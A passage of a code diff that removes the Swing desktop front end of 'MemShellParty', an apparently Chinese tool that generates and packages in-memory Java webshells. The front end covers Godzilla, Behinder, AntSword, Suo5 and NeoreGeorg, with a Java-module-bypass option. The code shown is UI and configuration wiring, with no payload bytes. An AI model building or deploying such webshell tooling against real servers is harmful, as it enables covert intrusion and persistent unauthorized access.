if (classBytes == null || classBytes.length == 0) {
|
||||
throw new IllegalArgumentException("class bytes are empty");
|
||||
}
|
||||
return new ClassReader(classBytes).getClassName().replace('/', '.');
|
||||
}
|
||||
}
|
||||
-147
@@ -1,147 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.service;
|
||||
|
||||
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
|
||||
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||
import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.JarPacker;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
import java.util.Base64;
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class GenerationService {
|
||||
|
||||
public DesktopMemShellGenerateResult generate(MemShellFormState s) {
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(s.getServer())
|
||||
.serverVersion(s.getServerVersion())
|
||||
.shellTool(s.getShellTool())
|
||||
.shellType(s.getShellType())
|
||||
.targetJreVersion(parseInt(s.getTargetJdkVersion(), 50))
|
||||
.debug(s.isDebug())
|
||||
.byPassJavaModule(s.isByPassJavaModule())
|
||||
.probe(s.isProbe())
|
||||
.shrink(s.isShrink())
|
||||
.lambdaSuffix(s.isLambdaSuffix())
|
||||
.build();
|
||||
|
||||
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||
.urlPattern(blankToDefault(s.getUrlPattern(), "/*"))
|
||||
.injectorClassName(blankToNull(s.getInjectorClassName()))
|
||||
.staticInitialize(s.isStaticInitialize())
|
||||
.build();
|
||||
|
||||
ShellToolConfig shellToolConfig = buildShellToolConfig(s);
|
||||
MemShellResult memShellResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||
|
||||
String packMethod = s.getPackingMethod();
|
||||
Packers packers = Packers.fromName(packMethod);
|
||||
Packer<?> packer = packers.getInstance();
|
||||
String packResult;
|
||||
if (packer instanceof JarPacker) {
|
||||
JarPacker jarPacker = (JarPacker) packer;
|
||||
packResult = Base64.getEncoder().encodeToString(jarPacker.packBytes(memShellResult.toJarPackerConfig()));
|
||||
} else {
|
||||
ClassPackerConfig<Object> classPackerConfig = cast(memShellResult.toClassPackerConfig());
|
||||
Map<String, Object> rawCustom = new LinkedHashMap<>(s.getPackerCustomConfig());
|
||||
classPackerConfig.setCustomConfig(((Packer<Object>) packer).resolveCustomConfig(rawCustom));
|
||||
packResult = ((Packer<Object>) packer).pack(classPackerConfig);
|
||||
}
|
||||
return new DesktopMemShellGenerateResult(memShellResult, packMethod, packResult);
|
||||
}
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
private static ClassPackerConfig<Object> cast(ClassPackerConfig<?> c) {
|
||||
return (ClassPackerConfig<Object>) c;
|
||||
}
|
||||
|
||||
private ShellToolConfig buildShellToolConfig(MemShellFormState s) {
|
||||
String tool = s.getShellTool();
|
||||
if (ShellTool.Godzilla.equals(tool)) {
|
||||
return GodzillaConfig.builder()
|
||||
.shellClassName(blankToNull(s.getShellClassName()))
|
||||
.pass(blankToNull(s.getGodzillaPass()))
|
||||
.key(blankToNull(s.getGodzillaKey()))
|
||||
.headerName(blankToNull(s.getHeaderName()))
|
||||
.headerValue(blankToNull(s.getHeaderValue()))
|
||||
.build();
|
||||
}
|
||||
if (ShellTool.Behinder.equals(tool)) {
|
||||
return BehinderConfig.builder()
|
||||
.shellClassName(blankToNull(s.getShellClassName()))
|
||||
.pass(blankToNull(s.getBehinderPass()))
|
||||
.headerName(blankToNull(s.getHeaderName()))
|
||||
.headerValue(blankToNull(s.getHeaderValue()))
|
||||
.build();
|
||||
}
|
||||
if (ShellTool.AntSword.equals(tool)) {
|
||||
return AntSwordConfig.builder()
|
||||
.shellClassName(blankToNull(s.getShellClassName()))
|
||||
.pass(blankToNull(s.getAntSwordPass()))
|
||||
.headerName(blankToNull(s.getHeaderName()))
|
||||
.headerValue(blankToNull(s.getHeaderValue()))
|
||||
.build();
|
||||
}
|
||||
if (ShellTool.Suo5.equals(tool) || ShellTool.Suo5v2.equals(tool)) {
|
||||
return Suo5Config.builder()
|
||||
.shellClassName(blankToNull(s.getShellClassName()))
|
||||
.headerName(blankToNull(s.getHeaderName()))
|
||||
.headerValue(blankToNull(s.getHeaderValue()))
|
||||
.build();
|
||||
}
|
||||
if (ShellTool.NeoreGeorg.equals(tool)) {
|
||||
return NeoreGeorgConfig.builder()
|
||||
.shellClassName(blankToNull(s.getShellClassName()))
|
||||
.headerName(blankToNull(s.getHeaderName()))
|
||||
.headerValue(blankToNull(s.getHeaderValue()))
|
||||
.build();
|
||||
}
|
||||
if (ShellTool.Proxy.equals(tool)) {
|
||||
return ProxyConfig.builder()
|
||||
.shellClassName(blankToNull(s.getShellClassName()))
|
||||
.headerName(blankToNull(s.getHeaderName()))
|
||||
.headerValue(blankToNull(s.getHeaderValue()))
|
||||
.build();
|
||||
}
|
||||
if (ShellTool.Custom.equals(tool)) {
|
||||
return CustomConfig.builder()
|
||||
.shellClassName(blankToNull(s.getShellClassName()))
|
||||
.shellClassBase64(blankToNull(s.getShellClassBase64()))
|
||||
.build();
|
||||
}
|
||||
if (ShellTool.Command.equals(tool)) {
|
||||
return CommandConfig.builder()
|
||||
.shellClassName(blankToNull(s.getShellClassName()))
|
||||
.paramName(blankToNull(s.getCommandParamName()))
|
||||
.headerName(blankToNull(s.getHeaderName()))
|
||||
.headerValue(blankToNull(s.getHeaderValue()))
|
||||
.template(blankToNull(s.getCommandTemplate()))
|
||||
.encryptor(CommandConfig.Encryptor.fromString(blankToNull(s.getEncryptor())))
|
||||
.implementationClass(CommandConfig.ImplementationClass.fromString(blankToNull(s.getImplementationClass())))
|
||||
.build();
|
||||
}
|
||||
throw new IllegalArgumentException("Unsupported shell tool: " + tool);
|
||||
}
|
||||
|
||||
private int parseInt(String value, int defaultValue) {
|
||||
try {
|
||||
return Integer.parseInt(value);
|
||||
} catch (Exception ignored) {
|
||||
return defaultValue;
|
||||
}
|
||||
}
|
||||
|
||||
private static String blankToNull(String s) {
|
||||
return s == null || s.trim().isEmpty() ? null : s;
|
||||
}
|
||||
|
||||
private static String blankToDefault(String s, String d) {
|
||||
return s == null || s.trim().isEmpty() ? d : s;
|
||||
}
|
||||
}
|
||||
-138
@@ -1,138 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.ui;
|
||||
|
||||
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
|
||||
import com.reajason.javaweb.desktop.memshell.service.ConfigCatalogService;
|
||||
import com.reajason.javaweb.desktop.memshell.service.CustomClassNameParser;
|
||||
import com.reajason.javaweb.desktop.memshell.service.GenerationService;
|
||||
import com.reajason.javaweb.desktop.memshell.ui.panel.MainConfigPanel;
|
||||
import com.reajason.javaweb.desktop.memshell.ui.panel.PackageConfigPanel;
|
||||
import com.reajason.javaweb.desktop.memshell.ui.panel.ResultPanel;
|
||||
import com.reajason.javaweb.desktop.memshell.util.SwingUiUtil;
|
||||
import com.reajason.javaweb.desktop.memshell.validation.MemShellValidator;
|
||||
import net.miginfocom.swing.MigLayout;
|
||||
|
||||
import javax.swing.*;
|
||||
import java.awt.*;
|
||||
|
||||
public class MemShellGeneratorFrame extends JFrame {
|
||||
private final MemShellFormController controller;
|
||||
private final GenerationService generationService;
|
||||
private final MainConfigPanel mainConfigPanel;
|
||||
private final PackageConfigPanel packageConfigPanel;
|
||||
private final ResultPanel resultPanel;
|
||||
private final JButton generateButton = new JButton("生成内存马");
|
||||
private final JLabel statusLabel = new JLabel("就绪");
|
||||
private JComponent mainContentPanel;
|
||||
|
||||
public MemShellGeneratorFrame() {
|
||||
super("MemShellParty - MemShellGenerator");
|
||||
this.controller = new MemShellFormController(new ConfigCatalogService(), new MemShellValidator());
|
||||
this.generationService = new GenerationService();
|
||||
CustomClassNameParser customClassNameParser = new CustomClassNameParser();
|
||||
|
||||
this.resultPanel = new ResultPanel();
|
||||
this.mainConfigPanel = new MainConfigPanel(controller, customClassNameParser, this::refreshAll);
|
||||
this.packageConfigPanel = new PackageConfigPanel(controller, this::refreshAll);
|
||||
|
||||
setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE);
|
||||
setMinimumSize(new Dimension(1180, 900));
|
||||
setSize(1280, 900);
|
||||
setLocationRelativeTo(null);
|
||||
|
||||
setLayout(new BorderLayout(6, 6));
|
||||
add(buildToolbar(), BorderLayout.NORTH);
|
||||
add(buildContent(), BorderLayout.CENTER);
|
||||
add(buildStatusBar(), BorderLayout.SOUTH);
|
||||
|
||||
generateButton.addActionListener(e -> onGenerate());
|
||||
resultPanel.clear();
|
||||
refreshAll();
|
||||
}
|
||||
|
||||
private JComponent buildToolbar() {
|
||||
JPanel p = new JPanel(new BorderLayout());
|
||||
p.setBorder(BorderFactory.createEmptyBorder(4, 8, 2, 8));
|
||||
return p;
|
||||
}
|
||||
|
||||
private JComponent buildContent() {
|
||||
JPanel topPane = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[][]"));
|
||||
JPanel leftColumn = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]6[]"));
|
||||
leftColumn.add(mainConfigPanel.getCorePanelComponent(), "growx");
|
||||
leftColumn.add(packageConfigPanel, "growx");
|
||||
|
||||
JPanel rightColumn = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]"));
|
||||
rightColumn.add(mainConfigPanel.getToolPanelComponent(), "growx");
|
||||
|
||||
JPanel topColumns = new JPanel(new MigLayout("insets 0, fillx, aligny top, gapx 8, wrap 2",
|
||||
"[grow,fill,sg topCol][grow,fill,sg topCol]",
|
||||
"[top]"));
|
||||
topColumns.add(leftColumn, "growx, pushx, top");
|
||||
topColumns.add(rightColumn, "growx, pushx, top");
|
||||
topPane.add(topColumns, "growx, pushy");
|
||||
|
||||
topPane.add(generateButton, "wrap, growx, gaptop 10");
|
||||
generateButton.setFont(generateButton.getFont().deriveFont(Font.BOLD, 14f));
|
||||
|
||||
JPanel content = new JPanel(new MigLayout("insets 0, fill, wrap 1", "[grow,fill]", "[][grow,fill]"));
|
||||
content.add(topPane, "growx");
|
||||
content.add(resultPanel, "grow, push");
|
||||
mainContentPanel = content;
|
||||
return content;
|
||||
}
|
||||
|
||||
private JComponent buildStatusBar() {
|
||||
JPanel p = new JPanel(new BorderLayout());
|
||||
p.setBorder(BorderFactory.createEmptyBorder(3, 8, 3, 8));
|
||||
p.add(statusLabel, BorderLayout.WEST);
|
||||
return p;
|
||||
}
|
||||
|
||||
private void onGenerate() {
|
||||
com.reajason.javaweb.desktop.memshell.validation.MemShellValidator.Result validation = controller.validate();
|
||||
if (!validation.isValid()) {
|
||||
statusLabel.setText("校验失败");
|
||||
SwingUiUtil.showError(this, validation.firstMessage());
|
||||
return;
|
||||
}
|
||||
generateButton.setEnabled(false);
|
||||
statusLabel.setText("生成中...");
|
||||
|
||||
SwingWorker<DesktopMemShellGenerateResult, Void> worker = new SwingWorker<DesktopMemShellGenerateResult, Void>() {
|
||||
@Override
|
||||
protected DesktopMemShellGenerateResult doInBackground() {
|
||||
return generationService.generate(controller.getState().copy());
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void done() {
|
||||
generateButton.setEnabled(true);
|
||||
try {
|
||||
DesktopMemShellGenerateResult result = get();
|
||||
resultPanel.showResult(result);
|
||||
statusLabel.setText("生成成功");
|
||||
} catch (Exception ex) {
|
||||
statusLabel.setText("生成失败");
|
||||
SwingUiUtil.showError(MemShellGeneratorFrame.this, "生成失败: " + (ex.getCause() != null ? ex.getCause().getMessage() : ex.getMessage()));
|
||||
}
|
||||
}
|
||||
};
|
||||
worker.execute();
|
||||
}
|
||||
|
||||
public void refreshAll() {
|
||||
mainConfigPanel.refreshFromController();
|
||||
packageConfigPanel.refreshFromController();
|
||||
repaint();
|
||||
revalidate();
|
||||
}
|
||||
|
||||
JComponent getMainContentPanel() {
|
||||
return mainContentPanel;
|
||||
}
|
||||
|
||||
JButton getGenerateButton() {
|
||||
return generateButton;
|
||||
}
|
||||
}
|
||||
-169
@@ -1,169 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.ui.panel;
|
||||
|
||||
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||
import com.reajason.javaweb.desktop.memshell.service.CustomClassNameParser;
|
||||
import com.reajason.javaweb.desktop.memshell.ui.panel.tool.*;
|
||||
import net.miginfocom.swing.MigLayout;
|
||||
|
||||
import javax.swing.*;
|
||||
import java.awt.*;
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
public class MainConfigPanel extends JPanel {
|
||||
private final MemShellFormController controller;
|
||||
private final Runnable refreshAll;
|
||||
private boolean updating;
|
||||
|
||||
private final JComboBox<String> serverCombo = new JComboBox<>();
|
||||
private final JComboBox<String> serverVersionCombo = new JComboBox<>();
|
||||
private final JComboBox<String> shellToolCombo = new JComboBox<>();
|
||||
private final JComboBox<String> targetJdkCombo = new JComboBox<>();
|
||||
|
||||
private final JCheckBox debugCheck = new JCheckBox("调试模式");
|
||||
private final JCheckBox probeCheck = new JCheckBox("回显模式");
|
||||
private final JCheckBox bypassCheck = new JCheckBox("绕过模块限制");
|
||||
private final JCheckBox lambdaCheck = new JCheckBox("Lambda 类名后缀");
|
||||
private final JCheckBox shrinkCheck = new JCheckBox("缩小字节码");
|
||||
private final JCheckBox staticInitCheck = new JCheckBox("静态初始化");
|
||||
|
||||
private final JPanel corePanel;
|
||||
private final JPanel toolPanelWrap;
|
||||
private final JPanel toolCardPanel = new JPanel(new CardLayout());
|
||||
private final Map<String, RefreshableToolPanel> toolPanels = new LinkedHashMap<>();
|
||||
|
||||
public MainConfigPanel(MemShellFormController controller, CustomClassNameParser parser, Runnable refreshAll) {
|
||||
super(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]6[]"));
|
||||
this.controller = controller;
|
||||
this.refreshAll = refreshAll;
|
||||
|
||||
corePanel = new JPanel(new MigLayout("insets 8, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]4[]"));
|
||||
corePanel.setBorder(BorderFactory.createTitledBorder("核心配置"));
|
||||
corePanel.add(labeled("服务类型", serverCombo), "growx");
|
||||
corePanel.add(labeled("服务版本", serverVersionCombo), "growx");
|
||||
corePanel.add(labeled("内存马工具", shellToolCombo), "growx");
|
||||
corePanel.add(labeled("JRE 版本", targetJdkCombo), "growx");
|
||||
|
||||
JPanel togglePanel = new JPanel(new MigLayout("insets 0, gapx 8, gapy 2, wrap 3", "[grow,fill][grow,fill][grow,fill]", "[]"));
|
||||
togglePanel.add(debugCheck);
|
||||
togglePanel.add(probeCheck);
|
||||
togglePanel.add(bypassCheck);
|
||||
togglePanel.add(lambdaCheck);
|
||||
togglePanel.add(shrinkCheck);
|
||||
togglePanel.add(staticInitCheck);
|
||||
corePanel.add(togglePanel, "span 2, growx");
|
||||
add(corePanel, "growx");
|
||||
|
||||
toolPanelWrap = new JPanel(new BorderLayout());
|
||||
toolPanelWrap.setBorder(BorderFactory.createTitledBorder("内存马功能"));
|
||||
// Keep the active tool panel at preferred height to avoid large blank sections.
|
||||
toolPanelWrap.add(toolCardPanel, BorderLayout.NORTH);
|
||||
add(toolPanelWrap, "growx");
|
||||
|
||||
registerToolPanel("Godzilla", new GodzillaToolPanel(controller, refreshAll));
|
||||
registerToolPanel("Command", new CommandToolPanel(controller, refreshAll));
|
||||
registerToolPanel("Behinder", new BehinderToolPanel(controller, refreshAll));
|
||||
registerToolPanel("AntSword", new AntSwordToolPanel(controller, refreshAll));
|
||||
registerToolPanel("Suo5", new Suo5ToolPanel(controller, refreshAll));
|
||||
registerToolPanel("Suo5v2", new Suo5ToolPanel(controller, refreshAll));
|
||||
registerToolPanel("NeoreGeorg", new NeoRegToolPanel(controller, refreshAll));
|
||||
registerToolPanel("Proxy", new ProxyToolPanel(controller, refreshAll));
|
||||
registerToolPanel("Custom", new CustomToolPanel(controller, parser, refreshAll));
|
||||
|
||||
bindEvents();
|
||||
}
|
||||
|
||||
private void registerToolPanel(String key, RefreshableToolPanel panel) {
|
||||
toolPanels.put(key, panel);
|
||||
toolCardPanel.add((Component) panel, key);
|
||||
}
|
||||
|
||||
private JPanel labeled(String label, JComponent component) {
|
||||
JPanel p = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]1[]"));
|
||||
p.add(new JLabel(label));
|
||||
p.add(component, "growx");
|
||||
return p;
|
||||
}
|
||||
|
||||
private void bindEvents() {
|
||||
serverCombo.addActionListener(e -> {
|
||||
if (updating) return;
|
||||
Object item = serverCombo.getSelectedItem();
|
||||
if (item != null) {
|
||||
controller.setServer(String.valueOf(item));
|
||||
refreshAll.run();
|
||||
}
|
||||
});
|
||||
serverVersionCombo.addActionListener(e -> {
|
||||
if (updating) return;
|
||||
Object item = serverVersionCombo.getSelectedItem();
|
||||
if (item != null) controller.setServerVersion(String.valueOf(item));
|
||||
});
|
||||
shellToolCombo.addActionListener(e -> {
|
||||
if (updating) return;
|
||||
Object item = shellToolCombo.getSelectedItem();
|
||||
if (item != null) {
|
||||
controller.setShellTool(String.valueOf(item));
|
||||
refreshAll.run();
|
||||
}
|
||||
});
|
||||
targetJdkCombo.addActionListener(e -> {
|
||||
if (updating) return;
|
||||
Object item = targetJdkCombo.getSelectedItem();
|
||||
if (item != null) {
|
||||
controller.setTargetJdkVersion(String.valueOf(item));
|
||||
refreshAll.run();
|
||||
}
|
||||
});
|
||||
|
||||
debugCheck.addActionListener(e -> controller.setDebug(debugCheck.isSelected()));
|
||||
probeCheck.addActionListener(e -> controller.setProbe(probeCheck.isSelected()));
|
||||
bypassCheck.addActionListener(e -> controller.setByPassJavaModule(bypassCheck.isSelected()));
|
||||
lambdaCheck.addActionListener(e -> controller.setLambdaSuffix(lambdaCheck.isSelected()));
|
||||
shrinkCheck.addActionListener(e -> controller.setShrink(shrinkCheck.isSelected()));
|
||||
staticInitCheck.addActionListener(e -> controller.setStaticInitialize(staticInitCheck.isSelected()));
|
||||
}
|
||||
|
||||
public void refreshFromController() {
|
||||
MemShellFormState s = controller.getState();
|
||||
updating = true;
|
||||
try {
|
||||
setComboItems(serverCombo, controller.getServers(), s.getServer());
|
||||
setComboItems(serverVersionCombo, controller.getServerVersionOptions(), s.getServerVersion());
|
||||
setComboItems(shellToolCombo, controller.getShellTools(), s.getShellTool());
|
||||
setComboItems(targetJdkCombo, controller.getConfigCatalogService().getTargetJdkOptions(), s.getTargetJdkVersion());
|
||||
|
||||
debugCheck.setSelected(s.isDebug());
|
||||
probeCheck.setSelected(s.isProbe());
|
||||
bypassCheck.setSelected(s.isByPassJavaModule());
|
||||
lambdaCheck.setSelected(s.isLambdaSuffix());
|
||||
shrinkCheck.setSelected(s.isShrink());
|
||||
staticInitCheck.setSelected(s.isStaticInitialize());
|
||||
} finally {
|
||||
updating = false;
|
||||
}
|
||||
|
||||
CardLayout cardLayout = (CardLayout) toolCardPanel.getLayout();
|
||||
cardLayout.show(toolCardPanel, s.getShellTool());
|
||||
RefreshableToolPanel toolPanel = toolPanels.get(s.getShellTool());
|
||||
if (toolPanel != null) {
|
||||
toolPanel.refreshFromController();
|
||||
}
|
||||
}
|
||||
|
||||
private void setComboItems(JComboBox<String> combo, List<String> items, String selected) {
|
||||
combo.removeAllItems();
|
||||
for (String item : items) combo.addItem(item);
|
||||
if (selected != null) combo.setSelectedItem(selected);
|
||||
}
|
||||
|
||||
public JComponent getCorePanelComponent() {
|
||||
return corePanel;
|
||||
}
|
||||
|
||||
public JComponent getToolPanelComponent() {
|
||||
return toolPanelWrap;
|
||||
}
|
||||
}
|
||||
-131
@@ -1,131 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.ui.panel;
|
||||
|
||||
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||
import com.reajason.javaweb.desktop.memshell.model.PackerEntryModel;
|
||||
import com.reajason.javaweb.desktop.memshell.model.PackerSchemaFieldModel;
|
||||
import net.miginfocom.swing.MigLayout;
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.event.DocumentEvent;
|
||||
import javax.swing.event.DocumentListener;
|
||||
import java.util.LinkedHashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
public class PackageConfigPanel extends JPanel {
|
||||
private final MemShellFormController controller;
|
||||
private final Runnable refreshAll;
|
||||
private boolean updating;
|
||||
|
||||
private final JComboBox<PackerEntryModel> packerCombo = new JComboBox<>();
|
||||
private final JPanel dynamicFieldsPanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]"));
|
||||
|
||||
public PackageConfigPanel(MemShellFormController controller, Runnable refreshAll) {
|
||||
super(new MigLayout("insets 8, fillx, wrap 1", "[grow,fill]", "[]4[]"));
|
||||
this.controller = controller;
|
||||
this.refreshAll = refreshAll;
|
||||
setBorder(BorderFactory.createTitledBorder("打包配置"));
|
||||
|
||||
JPanel top = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]1[]"));
|
||||
top.add(new JLabel("打包方式"));
|
||||
top.add(packerCombo, "growx");
|
||||
add(top, "growx");
|
||||
add(dynamicFieldsPanel, "growx");
|
||||
|
||||
packerCombo.setRenderer(new DefaultListCellRenderer() {
|
||||
@Override
|
||||
public java.awt.Component getListCellRendererComponent(JList<?> list, Object value, int index, boolean isSelected, boolean cellHasFocus) {
|
||||
super.getListCellRendererComponent(list, value, index, isSelected, cellHasFocus);
|
||||
if (value instanceof PackerEntryModel) {
|
||||
PackerEntryModel p = (PackerEntryModel) value;
|
||||
setText(p.displayLabel());
|
||||
}
|
||||
return this;
|
||||
}
|
||||
});
|
||||
|
||||
packerCombo.addActionListener(e -> {
|
||||
if (updating) return;
|
||||
Object item = packerCombo.getSelectedItem();
|
||||
if (item instanceof PackerEntryModel) {
|
||||
PackerEntryModel p = (PackerEntryModel) item;
|
||||
controller.setPacker(p.getName());
|
||||
refreshAll.run();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public void refreshFromController() {
|
||||
updating = true;
|
||||
try {
|
||||
DefaultComboBoxModel<PackerEntryModel> model = new DefaultComboBoxModel<>();
|
||||
List<PackerEntryModel> filtered = controller.getFilteredPackers();
|
||||
PackerEntryModel selected = controller.getSelectedPackerEntry();
|
||||
for (PackerEntryModel p : filtered) model.addElement(p);
|
||||
packerCombo.setModel(model);
|
||||
if (selected != null) packerCombo.setSelectedItem(selected);
|
||||
rebuildDynamicFields(controller.getSelectedPackerFields(), controller.getPackerCustomConfig());
|
||||
} finally {
|
||||
updating = false;
|
||||
}
|
||||
}
|
||||
|
||||
private void rebuildDynamicFields(List<PackerSchemaFieldModel> fields, Map<String, Object> currentValues) {
|
||||
dynamicFieldsPanel.removeAll();
|
||||
if (fields == null || fields.isEmpty()) {
|
||||
dynamicFieldsPanel.revalidate();
|
||||
dynamicFieldsPanel.repaint();
|
||||
return;
|
||||
}
|
||||
for (PackerSchemaFieldModel field : fields) {
|
||||
String type = field.getType();
|
||||
if (!"BOOLEAN".equals(type) && !"STRING".equals(type) && !"ENUM".equals(type) && !"INTEGER".equals(type)) {
|
||||
continue;
|
||||
}
|
||||
Object value = currentValues.get(field.getKey());
|
||||
if ("BOOLEAN".equals(type)) {
|
||||
JCheckBox check = new JCheckBox(field.getKey());
|
||||
check.setSelected(Boolean.TRUE.equals(value));
|
||||
check.addActionListener(e -> controller.setPackerCustomField(field.getKey(), check.isSelected()));
|
||||
dynamicFieldsPanel.add(check, "span 2, growx");
|
||||
continue;
|
||||
}
|
||||
dynamicFieldsPanel.add(new JLabel(field.getKey()));
|
||||
if ("ENUM".equals(type)) {
|
||||
JComboBox<String> combo = new JComboBox<>();
|
||||
for (PackerSchemaFieldModel.Option option : field.getOptions()) {
|
||||
combo.addItem(option.getValue());
|
||||
}
|
||||
if (value != null) combo.setSelectedItem(String.valueOf(value));
|
||||
combo.addActionListener(e -> controller.setPackerCustomField(field.getKey(), combo.getSelectedItem()));
|
||||
dynamicFieldsPanel.add(combo, "growx");
|
||||
} else {
|
||||
JTextField text = new JTextField(value == null ? "" : String.valueOf(value));
|
||||
text.getDocument().addDocumentListener(new DocumentListener() {
|
||||
@Override public void insertUpdate(DocumentEvent e) { changed(); }
|
||||
@Override public void removeUpdate(DocumentEvent e) { changed(); }
|
||||
@Override public void changedUpdate(DocumentEvent e) { changed(); }
|
||||
private void changed() {
|
||||
if (updating) return;
|
||||
if ("INTEGER".equals(type)) {
|
||||
String raw = text.getText().trim();
|
||||
if (raw.isEmpty()) {
|
||||
controller.setPackerCustomField(field.getKey(), null);
|
||||
} else {
|
||||
try {
|
||||
controller.setPackerCustomField(field.getKey(), Integer.parseInt(raw));
|
||||
} catch (NumberFormatException ignored) {
|
||||
}
|
||||
}
|
||||
} else {
|
||||
controller.setPackerCustomField(field.getKey(), text.getText());
|
||||
}
|
||||
}
|
||||
});
|
||||
dynamicFieldsPanel.add(text, "growx");
|
||||
}
|
||||
}
|
||||
dynamicFieldsPanel.revalidate();
|
||||
dynamicFieldsPanel.repaint();
|
||||
}
|
||||
}
|
||||
-249
@@ -1,249 +0,0 @@
|
||||
package com.reajason.javaweb.desktop.memshell.ui.panel;
|
||||
|
||||
import com.reajason.javaweb.desktop.memshell.model.DesktopMemShellGenerateResult;
|
||||
import com.reajason.javaweb.desktop.memshell.util.ClipboardUtil;
|
||||
import com.reajason.javaweb.desktop.memshell.util.FileSaveUtil;
|
||||
import com.reajason.javaweb.desktop.memshell.util.SwingUiUtil;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import net.miginfocom.swing.MigLayout;
|
||||
|
||||
import javax.swing.*;
|
||||
import javax.swing.border.Border;
|
||||
import java.awt.*;
|
||||
import java.io.IOException;
|
||||
|
||||
public class ResultPanel extends JPanel {
|
||||
private final JTabbedPane tabs = new JTabbedPane();
|
||||
private final BasicInfoView basicInfoView = new BasicInfoView();
|
||||
private final JTextArea packResultArea = createTextArea();
|
||||
private final JTextArea shellArea = createTextArea();
|
||||
private final JTextArea injectorArea = createTextArea();
|
||||
private final JLabel packHeaderLabel = new JLabel("未生成");
|
||||
private DesktopMemShellGenerateResult current;
|
||||
|
||||
public ResultPanel() {
|
||||
super(new BorderLayout());
|
||||
|
||||
JPanel packTab = new JPanel(new MigLayout("insets 6, fill, wrap 1", "[grow,fill]", "[][grow]"));
|
||||
packTab.add(wrapBasicInfoPanel(), "growx");
|
||||
packTab.add(wrapPackResultPanel(), "grow, push");
|
||||
|
||||
tabs.addTab("生成结果", packTab);
|
||||
tabs.addTab("内存马", wrapBase64Panel("内存马类字节(Base64)", shellArea, true, true));
|
||||
tabs.addTab("注入器", wrapBase64Panel("注入器类字节(Base64)", injectorArea, false, true));
|
||||
add(tabs, BorderLayout.CENTER);
|
||||
}
|
||||
|
||||
private JPanel wrapBasicInfoPanel() {
|
||||
JPanel p = new JPanel(new BorderLayout());
|
||||
JPanel top = new JPanel(new FlowLayout(FlowLayout.LEFT, 6, 3));
|
||||
top.add(new JLabel("基本信息"));
|
||||
|
||||
Border cardBorder = BorderFactory.createCompoundBorder(
|
||||
BorderFactory.createLineBorder(UIManager.getColor("Component.borderColor") == null ? Color.LIGHT_GRAY : UIManager.getColor("Component.borderColor")),
|
||||
BorderFactory.createEmptyBorder(6, 6, 6, 6)
|
||||
);
|
||||
p.setBorder(cardBorder);
|
||||
p.add(top, BorderLayout.NORTH);
|
||||
p.add(basicInfoView, BorderLayout.CENTER);
|
||||
return p;
|
||||
}
|
||||
|
||||
private JPanel wrapPackResultPanel() {
|
||||
JPanel p = new JPanel(new BorderLayout());
|
||||
JPanel top = new JPanel(new FlowLayout(FlowLayout.LEFT, 6, 3));
|
||||
JButton copyBtn = new JButton("复制");
|
||||
JButton saveBtn = new JButton("保存");
|
||||
copyBtn.addActionListener(e -> ClipboardUtil.copyText(packResultArea.getText()));
|
||||
saveBtn.addActionListener(e -> savePackResult());
|
||||
top.add(new JLabel("打包结果"));
|
||||
top.add(packHeaderLabel);
|
||||
top.add(copyBtn);
|
||||
top.add(saveBtn);
|
||||
p.add(top, BorderLayout.NORTH);
|
||||
p.add(new JScrollPane(packResultArea), BorderLayout.CENTER);
|
||||
return p;
|
||||
}
|
||||
|
||||
private JPanel wrapBase64Panel(String title, JTextArea area, boolean shell, boolean saveClass) {
|
||||
JPanel p = new JPanel(new BorderLayout());
|
||||
JPanel top = new JPanel(new FlowLayout(FlowLayout.LEFT, 6, 3));
|
||||
JButton copyBtn = new JButton("复制");
|
||||
JButton saveBtn = new JButton(saveClass ? "保存 .class" : "保存");
|
||||
copyBtn.addActionListener(e -> ClipboardUtil.copyText(area.getText()));
|
||||
saveBtn.addActionListener(e -> {
|
||||
if (current == null) return;
|
||||
try {
|
||||
MemShellResult r = current.getMemShellResult();
|
||||
if (shell) {
|
||||
FileSaveUtil.saveBase64AsBytes(this, simpleClassFileName(r.getShellClassName()), r.getShellBytesBase64Str(), "class");
|
||||
} else {
|
||||
